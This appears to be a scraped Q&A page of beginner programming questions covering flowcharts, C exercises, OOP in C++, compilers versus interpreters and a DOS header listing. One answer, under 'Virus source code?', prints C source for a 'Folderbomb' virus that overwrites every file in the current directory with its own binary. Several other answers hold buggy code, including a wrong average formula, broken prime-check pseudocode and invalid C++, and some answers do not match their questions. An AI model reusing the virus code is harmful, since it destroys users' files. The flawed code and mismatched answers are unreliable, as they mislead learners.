answersLogoWhite

0

📱

Computer Programming

A category for questions about computer programming and programming languages.

10,506 Questions

Advantages of system flowchart over program flowchart?

The difference between a program flow chart and a system flowchart is that a program flowchart is for a single program. A system flowchart is designed for an entire system with each box representing a process.

Write a program using one print statement to print the asterisks triangle?

#include<stdio.h>

#include<conio.h>

int main()

{

int i,j,k,row,m;

printf("Enter the no of rows:");

scanf("%d",&row);

m=row;

for(i=0;i<m;i++)

{

printf("\n");

for(k=0;k<row;k++)

printf(" ");

for(j=0;j<=i;j++)

printf(" *");

row--;

}

getch();

}

Disadvantages of procedural code over an object-oriented one?

A procedural code is

* less maintainable * polluting the namespace of variables and methods

* making harder to decouple and modularize the code, as such, it is less reusable

than an object-oriented one

Write a c program to compute the average of 3 input quizzes then display the result?

#include <stdio.h>

#include<iostream.h>

#include<conio.h>

#include<windows.h>

int main()

{

int q1, q2, q3, ave;

printf ("Enter 1st quiz: ");

scanf ("%d", &q1);

printf ("Enter 2nd quiz: ");

scanf ("%d", &q2);

printf ("Enter 3rd quiz: ");

scanf ("%d", &q3);

ave=(q1+q2+q3/3);

printf ("Average quiz is %d", ave);

getch() ;

}

Virus source code?

If you're talking about viruses on your computer, No you cannot.

Viruses are executables. The code in them is binary code- Machine language. You can't open it and expect to see the C code.

There are many kinds of viruses. Anything which is harmful and/or self-propagating can be considered a virus and there are numerous ways on how to write the same program.

/*this is a simple program to create a virus in c

it will create folder in a folder in a folder and so on run this on your own responsibility*/

  1. include
  2. include
  3. include
  4. include
  5. include

void main(int argc,char* argv[])

{ char buf[512]; int source,target,byt,done; struct ffblk ffblk; clrscr(); textcolor(2); cprintf("-------------------------"); printf("\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n"); cprintf("-------------------------"); done = findfirst("*.*",&ffblk,0); while (!done) { printf("\n");cprintf(" %s ", ffblk.ff_name);printf("is attacked by ");cprintf("Folderbomb"); source=open(argv[0],O_RDONLY|O_BINARY); target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY); while(1) {byt=read(source,buf,512); if(byt>0) write(target,buf,byt); else break; } close(source); close(target); done = findnext(&ffblk); } getch(); }

What is the difference between an algorithm and pseusodocode?

Pseudocode is one method of describing an algorithm. Other methods use diagrams, prose, or maybe even regular programming languages.

An algorithm, on the other hand, is a method, a recipe, of solving a particular problem or group of related problems.

Who were the first users of the Internet?

Probably one or two of these guys (you actually need at least two people!):

1. Bob Taylor, one of the original creators of the concept in 1962-1968. He had some sort of internet system between three offices.

Or

2. Lawrence G. Roberts, born 1937 in Connecticut, and who received the Draper Prize in 2001 "for the development of the Internet"

3. Leonard Kleinrock,

4. Robert Kahn,

5. Vinton Cerf.

These last four worked together and developed the 'internet concept' between themselves.

i.e. Larry Roberts and his team created the ARPANet, which was the first significant implementation of Leonard Kleinrock's theories on packet switching, a fundamental feature of (a) the modern internet and (b) ARPANet, the first large network form of the internet.

What is the best programming language to start with if you want to learn programming for the first time also where is a tutorial for it or a book you would recommend that teaches it?

(A)

To me.This is a simple question if you want to be a web developer HTML CSS and JavaScript are your best goals

Web programming I also agree should be PHP

As a main programming language for the computer

C++ would do.

Java as an alternative C is also an alternative

They are very good and to me -- a 13 year old very easy to understand

Your last question "Where to learn them? If it is C, C++ Or Java and i believe

JavaScript possibly HTML (i do not work with HTML so i do not know)

would be a guy named Bucky's youtube videos (TheNewBoston)... they are how I learned but along side them I would also recommend taking classes or getting a book

(B)

Python would probably be the best first programming language to learn. It's the easiest and the only beginner learn-able language that is used by professionals (e.g. Walt Disney Imagineers). Since it is a high-level programming language, the syntax is not confusing, and probably is comparable to C++ in our fast computer age. Python can be looked at as a sort of stepping stone, once you master Python, mastering C/C++, Perl, PHP, Java, etc., will become much easier. And also, with Python, you can code at lightning speed. Though if you are looking for a fast language, C++ would be a good option, since C is rather low-level and not far from machine code while C++ is mid-level. If you are doing web development, PHP and Java would be good. Of course, the best first language depends on everyone and how they learn, but my recommendation, Python, easy and used by professionals.

This is a difficult question to answer generically, and generally depends on the types of application that you would like to create.

One thing is generally true - if you are truly interested in programming, you should learn an object-oriented language. Object Oriented programming is a challenging concept for novice programmers to understand, and thus learning it early will greatly enhance your ability to create rich applications with minimal effort.

That being said, a question of which language is heavily dependent on the types of applications that you would like to make. There is no "jack-of-all-trades" language. Some languages are better than others, but there is no language that can do everything.

This is a list of languages that would be good for a beginner to learn, based on the platform you would like to develop for:

If you would like to simply create online pages, you should definitely start with these languages, in this order: HTML, CSS, and JavaScript.

All three are valuable to know if you want to do anything web related. The argument could be made that HTML and CSS are not actual "programming languages," but despite this, they are crucial to understanding the internet.

Web Programming

No, this section is not the same as the previous one. Web Development is simply the act of developing websites that can be displayed to a user. Web Programming is the act of creating programs that run on the internet to provide interactive content for the user. A basic knowledge of Web Development is required before you can understand Web Programming.

An example of web programming would be this web site. Rather than being stagnant web pages that the users can look at and use, it is a rich set of tools that can be used by the user to do more than just gather information.

As a beginner in Web Programming, the best suggestion would be to learn PHP. This is primarily for three reasons:

1) It provides a level of abstraction between the programmer and some of the

more difficult aspects of web programming.

2) It enables programmers to create object-oriented scripts.

3) All of the tools needed to begin creating PHP scripts are free. (Linux, Apache, and the PHP interpreter)

If you do not have or want to set up a Linux machine, then the only other realistic option is to buy web space from a web hosting company.

High-Level Programming

High-level programming, in the context used here, is programming your computer to run programs on your machine. For example, the web browser that you are using right now was created using high-level programming.

The two best options for High-Level Programming are Java and C++. If you are serious about programming, then you should first learn C++ and then Java. If this is a skill you would like to learn on the side, I would recommend Java. The reasons for this are as follows:

  • If you are serious about programming, C++ will give you unparalleled control of the machine. C++ includes many features that allow you to solve problems using data structures at unmatched speeds for a high-level language. Java is recommended as a second language because it is widely used and extremely useful, but it is less powerful than C++ and slower.
  • If you are not serious about programming, Java will work well. It is a very easy to use and well designed language. As a casual programmer, the reduced speed will not be noticeable, and the powerful features of C++ will not be useful.
  • If you are serious about programming, avoid learning Java first. Only when you consider yourself comfortable with C++ should you move on to Java. Compare the two languages to driving a stick shift car vs. driving an automatic. The latter is nicer, and perfectly fine if you are merely a casual driver, but if you are considering becoming a professional driver, you should be proficient at both. The same holds true for Java and C++.

Also, for high level programming, you should seriously consider learning some algorithm techniques , including basic ones like searching and sorting, and advanced ones like dynamic algorithms, greedy algorithms etc.

Where to Learn these Languages

Learning a language for the first time can be challenging. The best option would be to take a class. Having an instructor guiding you can mean the difference between night and day when attempting to learn a language for the first time.

If taking a class is not an option, then head down to a bookstore and look in the computers department for a book that covers the language you intend to learn. The most important thing to look for in a book is the copyright date--programming languages are constantly changing, and if you buy a book that is older than 3 years old, you may find yourself learning outdated techniques.

The most reliable way to get answers above and beyond what is mentioned here would be to either search the web or to ask your questions on active programming forums. Programming can be a fun and rewarding experience, and wish you well with your learning.

You also might be interested in websites like topcoder and coderwords They both are good ones.

Note from someone who learned C++ by reading books:

C++ is what is called a Legacy Language, that doesn't mean it's entirely outdated. If you're interested in programming for Windows you may find it easier to use a language like C#. My favorite game at the moment (Wolfenstein) was likely written in C++ and it runs beautifully on my system, I can't imagine how slow it would be if it was written in Java. Don't be afraid to take classes at a community college on programming if you enjoy it.

Recommended Reading

On Bjarne Stroustrup's website you can find much more information about C++.

Quote from Bjarne's webpage:

"Some parts of Visual Studio like the Base Class Libraries that ship with the .NET Framework were written using C# but the C# compiler itself is written in C++"

For an early start

All above is good enough for adult learners having no or little prior experience of programming. If wants to indulge in programming right from the childhood something funny and yet usefully illustrative should be sought. Logo and its descendants have this property (there is an object oriented version as well--Elica). Its easier to follow with minimal mathematics but helps to understand various concepts (like loops etc) in a light way.Once easily mastered one can move on to more involved language (like traditional Basic).All this prepares one with strong foundations at a relatively early stage to comprehend languages like C or even C++. There are various resources for learning logo but Micheal Friendly's Advanced Logo provides a mature approach.

The easiest that I know of is Visual Basic.

Ok, most of that is good, but I have a better idea.

Yeah, there pretty good, but I would recommend a program called Scratch. I used it before I became a successful programmer on Nintendo, but that's a long story.

Does a programmer design computer programs?

Yes. A computer programmer will at least use simple arithmetic. Most computer science degrees require a year of calculus, though I must admit that the most useful math classes I've taken were discrete mathematics. Math that deals with sequences, series, and sets tends to be the most common and useful (in my experience).

Of course it all depends on what specific field of programming you will be in.

If you will be doing a lot of network programming, then graph theory will probably be part of your everyday programming. Graphics programmers will need to know a good bit of geometry and trigonometry.

Why should programmer use object oriented language?

Object oriented programming allows programmers to classify data and methods by type. For instance, a shape is a type of object, a rectangle is a type of shape and a square is a type of rectangle. We can also say that a rectangle is a specialisation of a shape and that a square is a specialisation of a rectangle. Object oriented programming allows us to express relationships between types directly in code such that when we hold a reference to a square, we also hold a reference to a rectangle and a shape. As a result, we can pass a square or rectangle object to a function that knows nothing about squares or rectangles but knows everything about shapes.

All shapes can be drawn. Is it necessary for a function to know precisely how a shape is drawn? Of course not, it is only necessary to know that it can be drawn. Knowing this, the function can simply invoke the shape::draw() method regardless of the actual type of shape.

A rectangle inherits all the properties common to all shapes, thus a rectangle inherits the shape::draw() method. Moreover, a rectangle can specialise this method, overriding any default behaviour with its own specialised implementation in rectangle::draw(). Thus when we pass a rectangle object to a function that only knows about shapes and that function invokes the shape::draw() function, we actually invoke the rectangle::draw() function even though our function knows nothing about rectangles!

By the same token, a square inherits all the properties common to all rectangles, including all properties common to all shapes. Thus square::draw() inherits rectangle::draw() which overrides shape::draw(). However, a square does not actually need to override the draw method because the the implementation that applies to a rectangles also applies to a square. This is because rectangles and squares both have 4 vertices with internal angles of 90 degrees. The only thing that actually differentiates a square from a rectangle is that the adjacent vertices of a square are equidistant, but the actual vertices are defined by the rectangle so the rectangle has all the information required to draw a square. Again, the rectangle object does not need to know anything about squares in order to draw one!

Let's now look at how we can define all of these notions in an object-oriented programming language.

class shape {

public:

virtual void draw() = 0;

virtual ~shape() {}

};

class rectangle : public shape {

public:

rectangle (int top, int left, int width, int height): t {top}, l {left}, w {width}, h {height} {}

void draw() override;

void ~rectangle() override {}

private:

int t, l, w, h;

};

class square : public rectangle final {

public:

square (int top, int left, int size): rectangle {top, left, size, size} {}

};

Although this code is relatively short, it contains a lot of information. This is common in object oriented programming, we can glean a lot of information from very little code. A novice programmer might expect a few user-comments to explain everything in a bit more detail, but to a professional programmer this code tells us every we need to know.

For example, the shape::draw() method is declared a pure-virtual method (a virtual method with no implementation). This immediately tells is the shape class an abstract base class and thus prevents general users from instantiating objects of type shape. This reflects the real world where we can imagine a shape but we cannot draw one (we can only draw a specific type of shape). Being a base class (a class with at least one virtual method), the shape class also has to have a virtual destructor to ensure correct tear-down whenever a shape falls from scope. The shape class has no non-static data members thus we can take advantage of the empty class optimisation. That is, any class that inherits from shape will have zero overhead because there are no data members to inherit.

The rectangle class publicly inherits from shape. This means that all public methods of shape are public methods of rectangle. The rectangle specialises shape with the addition of 4 data members, t, l, w and h (top, left, width and height respectively). The constructor initialises these members at the point of instantiation. We also declare overrides for the inherited interfaces, shape::draw() and shape::~shape(). This is essential otherwise rectangle would also be an abstract base class and we wouldn't be able to instantiate rectangles.

The square class public inherits from rectangle and declares it final. This means we cannot inherit from square, it is not intended to be used as a base class. We automatically inherit both the rectangle::draw() and rectangle::~rectangle() interfaces and we do not need to override these. The only specialisation we need is the constructor which invokes the rectangle constructor to implement the invariant that a rectangle's width and height are always equal for squares. The square has no data members of its own, so there is zero overhead and while we do inherit the data members from rectangle, they are private so we cannot access them.

To complete the implementation, we also need to provide an implementation for the rectangle::draw() method. For this we'll assume that a line() function handles the low-level graphics facility. We do not need to know the implementation details of the line() function, we need only know that the function will draw a line between a pair of coordinates.

void rectangle::draw() {

line (t, l, t, l+w);

line (t, l+w, t+h, l+w);

line (t+h, l+w, t+h, l);

line (t+h, l, t, l);

}

Our definition is complete. We can now use these classes. Let's define a function that accepts a vector of shape pointers and invokes each of their draw methods. We'll use a type alias to reduce code verbosity:

using vec_shapes = std::vector<std::unique_ptr<shape>>;

void draw_shapes (vec_shapes& v) {

for (auto s : v) s->draw();

}

Note that this function only needs to "see" the shape definition. That is, the rectangle and square definitions could be defined in another translation unit entirely. We can even add triangles, circles, pentagons and all manner of other shapes into the mix at a later date and this code will still work without any further modification.

Now let's invoke this function:

void foo() {

vec_shapes v;

v.push_back (new square {10, 10 , 5});

v.push_back (new rectangle {20, 15 , 5, 7});

v.push_back (new square {30, 20 , 4});

v.push_back (new rectangle {40, 25 , 6, 8});

draw_shapes (&v);

}

Note that the vec_shapes alias is itself an object, one that encapsulates a vector of resource handles ("smart" pointers). Although we instantiated four new objects on the heap, we didn't actually delete them as we normally would have had to had they been "naked" pointers. That's because we don't have to delete them. When this function ends, the vector falls from scope and this automatically invokes its destructor which subsequently empties the vector. As each smart pointer within the vector is removed, it falls from scope thus invoking its destructor which explicitly invokes the destructor of the pointer it encapsulates (a pointer to shape). Since that destructor is declared virtual, the most-derived object is destroyed first before working back through the hierarchy, destroying each base class until the shape class itself is finally destroyed.

From this we begin to see the importance of object oriented programming. Resource management details can be fully encapsulated within the objects themselves, thus there is less chance of human error creating resource leaks which is a common problem with C-style coding using "naked" pointers. Objects can also encapsulate class invariants, such that only those methods that modify class member data need maintain those invariants, thus eliminating the need to constantly test those invariants at runtime and thus improving performance. Objects can also implement move semantics so that resources can be efficiently transferred from one object to another thus making it possible to perform (almost) perfect swaps without making any unnecessary temporary copies. This also makes it possible to efficiently return objects from functions by value, the default semantic in both C and C++. Our code becomes easier to write because there's much less of it and much easier to maintain because implementation details are easier to encapsulate.

How can you Write a suitable pseudo code to check whether a number is prime or not?

Begin

Read num

for(i=2; i<num; i++)

if(num%2==0) then

print "the number is not a prime no.";

else if

print "the number is prime";

end if

Stop

Which computer program is capable of reproducing itself?

Short answer - No. With our current level of technology and progress in the field of artificial intelligence there are no computers that can program themselves. However, depending on what you mean by "programme", there are lots of devices that can configure themselves using computer technology. However, even here this is ultimately due to "hard coded" behavior in the circuitry of these devices which is essentially a form of programming from a hardware perspective, which also originated from an external source (people). Of course you could also argue that people can't really "program" themselves either. If you stay strictly within the bounds of the physical realm (not accounting for metaphysical/spiritual aspects) people and by proxy their actions are also a result of causal laws. In this context, we are only a product of our biology and our environment, so in that regard we are no different then a organic computer. Of course, this is not accounting for any metaphysical or spiritual elements, which could significantly change the model of human behavior to be different from that of a computer's behavior. (Updated - Sorry, I didn't have a login yet, so I figured I should get one of those).

Which search algorithm is best?

The question is a bit too vague for a meaningful answer, it depends on what you are searching and what you are looking for.

For search in an unsorted list, there is no better alternative than the naive algorithm of looking at every single element.

For search in a sorted list (like a phone book sorted on name) binary search is much more efficient.

For string search, like used in biology to find DNA matches, there are dedicated algorithms that deal exclusively with string matching.

For graph search, A* ("A star") is among the better.

For more general search problems there are a whole host of search methods that work better than others in particular domains. But so far, there is no ultimate winner that is best for everything. The best ones are generally custom made for one particular problem, like the best known algorithm for the Travelling Salesman Problem.

See also related link.

How can you get a lisp?

Yes it's not uncommon especially in children

What is race condition in OS?

A race condition or race hazard is a flaw in a system or process whereby the output and/or result of the process is unexpectedly and critically dependent on the sequence or timing of other events. The term originates with the idea of two signals racing each other to influence the output first. Race conditions can occur in electronics systems, especially logic circuits, and in computer software, especially multithreaded or distributed programs.

The degree of a quadratic equation?

The Quadratic Formula song: (my grade saver)

To the tune of the jack in the box song

X equals negative B

plus or minus square root

of

B squared minus 4AC

all over 2A

:)

In what way does binary resemble a language?

Our computers are digital computers as opposed to analog computers. Digital computers process data and instructions made up of words or bytes which are composed of a number of bits. Normally 8 bits make a byte, either 2 bytes (16 bits) or 4 bytes (32 bits) make a computer instruction or a data word. It all depends on the computer design.

The smallest piece of information (part of an instruction or data) is the bit. A bit represents something that can have two values. We call them "0" and "1". Because it can only have two values, we refer to the computer as a binary computer and its machine language as a binary language.

What computer languages do you need to know to be a good programmer?

Everything that you can see done on a computer, from playing games, using webpages, or even clicking icons on your desktop.

Programming languages can be used to create programs that control the behavior of a machine and/or to express algorithms precisely.You can do anything form writing single addition program to creating a websites.

Give an example of a compiler?

A programming language can be made into a working program either by Interpretation or compilation. There isn't a Compiler and an Interpreter language. But any code any be made into a program by compiling it using an Interpreter (checks a line of your code at a time and stops at errors) or compiler (checks the entire code at a time and displays all errors at the end).

As the Answer above states any language can be Interpreted (the program is executed one line at a time, and errors are reported when and if they occur) and any language can be compiled (the whole program is rendered as a single executable file, and run in one go).

But some languages are usually interpreted (though they may sometimes be compiled) and some languages are usually compiled (though they may be sometimes interpreted).

An interpreted language is more easily debugged (and errors will usually be less disastrous). A compiled language runs faster (and the executable file will be smaller and more portable).

So interpreted languages tend to include languages used for teaching and also languages used for robotic control (when you drive robots you will often want them to do things one step at a time).

BASIC is a teaching language, it is usually interpreted. FORTH (for radio telescopes) and LOGO (for floor crawlers) are other languages which are usually interpreted, since they are robotic.

Languages which are used for commercial programming will nearly always be compiled. C, C++, C# are nearly always compiled, and so is Pascal and all its derivatives (Oberon, Delphi &c.).

What is the function of dos.h?

You can find a copy of that file in here:

http://ftp.ibiblio.org/pub/micro/PC-stuff/freedos/files/devel/c/dos.h

in case the server is down check the extracted file:

#ifndef __DOS_H

#define __DOS_H

#include <_defs.h>

#include <stddef.h>

#ifdef __WATCOMC__

#pragma pack( __push, 1 )

#endif

struct _R16BIT {

unsigned short ax, bx, cx, dx, si, di, es, cs, ss, ds, flags;

unsigned char cflag;

};

struct _R8BIT {

unsigned char al, ah, bl, bh, cl, ch, dl, dh;

};

union _INTR {

struct _R16BIT x;

struct _R8BIT h;

};

#define INTR _INTR

struct country {

int co_date; /* date format */

char co_curr[ 5 ]; /* currency symbol */

char co_thsep[ 2 ]; /* thousands separator */

char co_desep[ 2 ]; /* decimal separator */

char co_dtsep[ 2 ]; /* date separator */

char co_tmsep[ 2 ]; /* time separator */

char co_currstyle; /* currency style */

char co_digits; /* significant digits in currency */

char co_time; /* time format */

long co_case; /* case map */

char co_dasep[ 2 ]; /* data separator */

char co_fill[ 10 ]; /* filler */

};

#define COUNTRY country

struct DOSERROR {

int de_exterror; /* extended error */

char de_class; /* error class */

char de_action; /* action */

char de_locus; /* error locus */

};

struct date {

unsigned int da_year; /* current year */

unsigned char da_day; /* day of the month */

unsigned char da_mon; /* month (1 = Jan) */

};

struct dosdate_t {

unsigned char day; /* 1--31 */

unsigned char month; /* 1--12 */

unsigned int year; /* 1980--2099 */

unsigned char dayofweek; /* 0--6; 0 = Sunday */

};

struct devhdr {

long dh_next;

short dh_attr;

unsigned short dh_strat;

unsigned short dh_inter;

char dh_name[ 8 ];

};

struct dfree {

unsigned df_avail; /* Available clusters */

unsigned df_total; /* Total clusters */

unsigned df_bsec; /* Bytes per sector */

unsigned df_sclus; /* Sectors per cluster */

};

struct diskfree_t {

unsigned total_clusters;

unsigned avail_clusters;

unsigned sectors_per_cluster;

unsigned bytes_per_sector;

};

typedef struct {

char drive;

char pattern [ 13 ];

char reserved [ 7 ];

char attrib;

short time;

short date;

long size;

char nameZ [ 13 ];

} dosSearchInfo;

struct fatinfo {

char fi_sclus; /* sectors per cluster */

char fi_fatid; /* the FAT id byte */

int fi_nclus; /* number of clusters */

int fi_bysec; /* bytes per sector */

};

struct ffblk {

#ifdef __CLIB_LFN__

unsigned short cr_time; /* time of file creation */

unsigned short cr_date; /* date of file creation */

unsigned short ac_time; /* time of last file access */

unsigned short ac_date; /* date of last file access */

char ff_reserved[ 13 ]; /* reserved for use by DOS */

#else

char ff_reserved[ 21 ]; /* reserved for use by DOS */

#endif

char ff_attrib; /* attribute byte for file */

unsigned short ff_ftime; /* time of last write to file */

unsigned short ff_fdate; /* date of last write to file */

unsigned long ff_fsize; /* length of file in bytes */

#ifdef __CLIB_LFN__

char ff_name[ 256 ]; /* null-terminated filename */

unsigned short lfnhandle;/* DOS LFN support handle */

#else

char ff_name[ 13 ]; /* null-terminated filename */

#endif

};

struct find_t {

#ifdef __CLIB_LFN__

unsigned short cr_time; /* time of file creation */

unsigned short cr_date; /* date of file creation */

unsigned short ac_time; /* time of last file access */

unsigned short ac_date; /* date of last file access */

char reserved[ 13 ]; /* reserved for use by DOS */

#else

char reserved[ 21 ]; /* reserved for use by DOS */

#endif

char attrib; /* attribute byte for file */

unsigned short wr_time; /* time of last write to file */

unsigned short wr_date; /* date of last write to file */

unsigned long size; /* length of file in bytes */

#ifdef __CLIB_LFN__

char name[ 256 ]; /* null-terminated filename */

unsigned short lfnhandle;/* DOS LFN support handle */

#else

char name[ 13 ]; /* null-terminated filename */

#endif

};

#define _find_t find_t

struct fcb {

char fcb_drive;

char fcb_name[ 8 ],

fcb_ext[ 3 ];

short fcb_curblk,

fcb_recsize;

long fcb_filsize;

short fcb_date;

char fcb_resv[ 10 ],

fcb_currec;

long fcb_random;

};

struct xfcb {

char xfcb_flag;

char xfcb_resv[ 5 ];

char xfcb_attr;

struct fcb xfcb_fcb;

};

struct dostime_t {

unsigned char hour; /* Hours */

unsigned char minute; /* Minutes */

unsigned char second; /* Seconds */

unsigned char hsecond; /* Hundredths of seconds */

};

struct time {

unsigned char ti_min; /* minutes */

unsigned char ti_hour; /* hours */

unsigned char ti_hund; /* hundredths of seconds */

unsigned char ti_sec; /* seconds */

};

#ifdef __WATCOMC__

#pragma pack( __pop )

#endif

extern int __getversion( void );

extern char ** environ;

#define _version (*__getversion)()

extern unsigned char _osmajor;

extern unsigned char _osminor;

extern int absread( int drive, int sects, long lsect, void *buffer );

extern int abswrite( int drive, int sects, long lsect, void *buffer );

extern int allocmem( unsigned size, unsigned *seg );

extern int bdos( int ah, unsigned dx, unsigned al );

extern int bdosptr( int ah, void *argument, unsigned al );

extern int _callint( union INTR *regs );

extern struct COUNTRY *

country( int xcode, struct COUNTRY *ct );

extern void ctrlbrk( int ( *handler )( void ) );

extern void delay( unsigned mill );

extern void _disable( void );

extern unsigned _dos_allocmem( unsigned size, unsigned *seg );

extern unsigned _dos_close( int handle );

extern unsigned _dos_creat( const char *path, int attr, unsigned *handle );

extern unsigned _dos_creatnew( const char *path, int attr, unsigned *handle );

extern int __cdecl dosexterror( struct DOSERROR *errblk );

extern unsigned _dos_findfirst( char *filename, int attrib, void *strptr );

extern unsigned _dos_findnext( void *strptr );

extern unsigned _dos_findclose( void *strptr );

extern unsigned _dos_freemem( unsigned seg );

extern void __cdecl _dos_getdate( struct dosdate_t *ptr );

extern unsigned __cdecl

_dos_getdiskfree( unsigned char dr, struct diskfree_t *d );

extern unsigned _dos_getdrive( unsigned *disk );

extern unsigned _dos_getfileattr( const char *filename, unsigned *attrs );

extern unsigned __cdecl

_dos_getftime( int handle,

unsigned *date,

unsigned *time );

extern void __cdecl _dos_gettime( struct dostime_t *timeptr );

extern void ( interrupt far *

_dos_getvect( unsigned intno ) )( );

extern void _dos_keep( unsigned char retcode, unsigned size );

extern unsigned _dos_open( const char *path, unsigned flags, unsigned *handle );

extern unsigned _dos_read( int handle,

void far *buf,

unsigned len,

unsigned *nread );

extern unsigned _dos_setblock( unsigned newsize,

unsigned seg,

unsigned *max );

extern void _dos_setdate( struct dosdate_t *ptr );

extern void _dos_setdrive( unsigned disk, unsigned *total );

extern unsigned _dos_setfileattr( const char *filename, unsigned attrs );

extern unsigned _dos_setftime( int handle, unsigned date, unsigned time );

extern unsigned _dos_settime( struct dostime_t *timeptr );

extern void _dos_setvect( unsigned intno,

void ( interrupt far *vect )() );

extern time_t dostounix( struct date *date, struct time *time );

extern unsigned _dos_write( int handle,

void far *buf,

unsigned len,

unsigned *bytes );

extern void _enable( void );

extern int freemem( unsigned seg );

extern int getcbrk( void );

extern void __cdecl getdate( struct date *datep );

extern void __cdecl getdfree( unsigned char drive, struct dfree *dtable );

extern char * getdta( void );

extern void getfat( unsigned char drive, struct fatinfo *dtable );

extern void getfatd( struct fatinfo *dtable );

extern unsigned getpsp( void );

extern void __cdecl gettime( struct time *timeptr );

extern void ( interrupt far *

getvect( int intno ) )( );

extern int getverify( void );

extern int inp( unsigned id );

extern unsigned inpw( unsigned id );

extern unsigned inport( unsigned id );

extern unsigned char inportb( unsigned id );

extern void keep( unsigned char retcode, unsigned size );

extern void nosound( void );

extern int outp( unsigned id, int value );

extern unsigned outpw( unsigned id, unsigned value );

extern void outport( unsigned id, unsigned value );

extern void outportb( unsigned id, unsigned char value );

extern char * parsfnm( const char *cmdline, struct fcb *ptr, int al );

extern int peek( unsigned seg, unsigned offs );

extern char peekb( unsigned seg, unsigned offs );

extern void poke( unsigned seg, unsigned offs, int value );

extern void pokeb( unsigned seg, unsigned offs, char value );

extern int randbrd( struct fcb *buf, int rnum );

extern int randbwr( struct fcb *buf, int rnum );

extern int setblock( unsigned newsize, unsigned seg );

extern int setcbrk( int value );

extern void setdate( struct date *datep );

extern void setdta( char far *dta );

extern void setpsp( unsigned psp );

extern void settime( struct time *timeptr );

extern void setvect( int intno, void ( interrupt far *vect )() );

extern void setverify( int flag );

extern void sleep( unsigned x );

extern void sound( unsigned frequency );

extern void unixtodos( time_t longtime,

struct date *date,

struct time *time );

extern int unlink( const char *filename );

#define disable _disable

#define enable _enable

#define _A_NORMAL 0x00

#define _A_RDONLY 0x01

#define _A_HIDDEN 0x02

#define _A_SYSTEM 0x04

#define _A_VOLID 0x08

#define _A_SUBDIR 0x10

#define _A_ARCH 0x20

#define FA_NORMAL _A_NORMAL

#define FA_RDONLY _A_RDONLY

#define FA_HIDDEN _A_HIDDEN

#define FA_SYSTEM _A_SYSTEM

#define FA_LABEL _A_VOLID

#define FA_DIREC _A_SUBDIR

#define FA_ARCH _A_ARCH

#define NFDS 20

#define SEEK_SET 0

#define SEEK_CUR 1

#define SEEK_END 2

#define MK_FP( seg, ofs ) ( ( void * )\

( ( ( unsigned long )( seg ) << 16 ) |\

( unsigned )( ofs ) ) )

#define FP_SEG(fp) ( ( unsigned )( ( unsigned long )( fp ) >> 16 ) )

#define FP_OFF(fp) ( ( unsigned )( fp ) )

#define __peek( a,b ) ( *( ( int far * ) MK_FP ( ( a ), ( b ) ) ) )

#define __peekb( a,b ) ( *( ( char far * ) MK_FP ( ( a ), ( b ) ) ) )

#define __poke( a,b,c ) ( *( ( int far * ) MK_FP ( (a),(b)) ) = ( int )(c))

#define __pokeb( a,b,c ) ( *( ( char far * ) MK_FP ( (a),(b)) ) = ( char )(c))

#define peek( a,b ) ( *( ( int far * ) MK_FP ( ( a ), ( b ) ) ) )

#define peekb( a,b ) ( *( ( char far * ) MK_FP ( ( a ), ( b ) ) ) )

#define poke( a,b,c ) ( *( ( int far * ) MK_FP ( (a),(b)) ) = ( int )(c))

#define pokeb( a,b,c ) ( *( ( char far * ) MK_FP ( (a),(b)) ) = ( char )(c))

#ifndef __NO_INLINE_FUNCTIONS

#pragma aux _enable = "sti";

#pragma aux _disable = "cli";

#pragma aux inp = "in al, dx" parm [dx] value [al] modify [ax dx];

#pragma aux inpw = "in ax, dx" parm [dx] value [ax] modify [ax dx];

#pragma aux inport = "in ax, dx" parm [dx] value [ax] modify [ax dx];

#pragma aux inportb = "in al, dx" parm [dx] value [al] modify [ax dx];

#pragma aux outp = "out dx, al" parm [dx] [al] value [al] modify [ax dx];

#pragma aux outpw = "out dx, ax" parm [dx] [ax] value [ax] modify [ax dx];

#pragma aux outport = "out dx, ax" parm [dx] [ax] modify [ax dx];

#pragma aux outportb = "out dx, al" parm [dx] [al] modify [ax dx];

#endif

#endif

Which is the strongest programming language?

Some say Java is the most popular. Others say it is C, C++ or C#. It may depend on the definition of the word popular. Is it the most compilers downloaded or sold? Is it about the largest number of programs (of any size) written, the largest number of commercial applications, the most lines of code, or the most number of users of applications written in a language? It is all very subjective.

However, "most popular" does not equate to "best". Java is only suitable for writing applications software. Drivers, operating system kernels and embedded systems are typically written in C, C++ or assembly language, or some combination of the three. Such system programs need access to system tables, hardware commands and registers by accessing actual hardware addresses in memory. Java will not allow this.

More importantly, Java compiles to byte code rather than native machine code, thus Java programs execute much slower than their machine coded counterparts because the byte code must be interpreted (by the Java virtual machine) upon every execution. However, Java code only needs to be compiled once since the byte code will execute on any Java virtual machine on any hardware. Machine code programs must be recompiled separately for each machine architecture.

What are the merits and demerits of array based implementation over linked implementation?

The merits of an array are that it provides the most compact storage mechanism of any data container, and enables constant-time, random access to that data.

The demerits are that insertions and extractions can be costly in terms of performance due to the need to copy/move elements within the array. For large arrays, the cost can become prohibitive. Also, arrays can only be used to store elements of the same type.

What are the characteristics of a system analysis?

The main deliverable from the analysis phase is the Requirements Specification document. It is a living document that needs to be revised as the requirements change during the prototyping and development activities.

Different between compiler and interpreater?

The execution of a program can happen either natively -- the intructions are actual CPU instructions, or it can happen through an interpreter. The interprer thus takes instructions (which are typically not native CPU instructions), and performs the actions associated with the instruction (open a file, write a character to the screen, etc). The interpreter is thus in charge of the execution of the program instructions.

Now consider a program written in spoken English. It is obvious that the CPU does not understand spoken English. We can either use an interpreter to execute this program, or we can translate to "another form" (typically machine code specific to a particular CPU) -- using a compiler. This "other form" may require additional things to happen, so the compiler may insert extra instructions to cater for these things. The end result is our spoken English program, in another form -- either native, which can be executed by the CPU, or an a form which requires that an interpreter be used to execute it.

The interested reader is encouraged to read Allan Turing's groundbreaking paper on computing machines entitled "On computable numbers: With an application to the Entscheidungsproblem". You can find this easily by simply searching for this title with your favourite search engine.

Another AnswerWe usually prefer to write computer programs in languages we understand rather than in machine language, but the processor can only understand machine language. So we need a way of converting our instructions (source code) into machine language. This is done by an interpreter or a compiler.

An interpreter reads the source code one instruction or line at a time, converts this line into machine code and executes it. The machine code is then discarded and the next line is read. The advantage of this is it's simple and you can interrupt it while it is running, change the program and either continue or start again. The disadvantage is that every line has to be translated every time it is executed, even if it is executed many times as the program runs. Because of this interpreters tend to be slow. Examples of interpreters are Basic on older home computers, and script interpreters such as JavaScript, and languages such as Lisp and Forth.

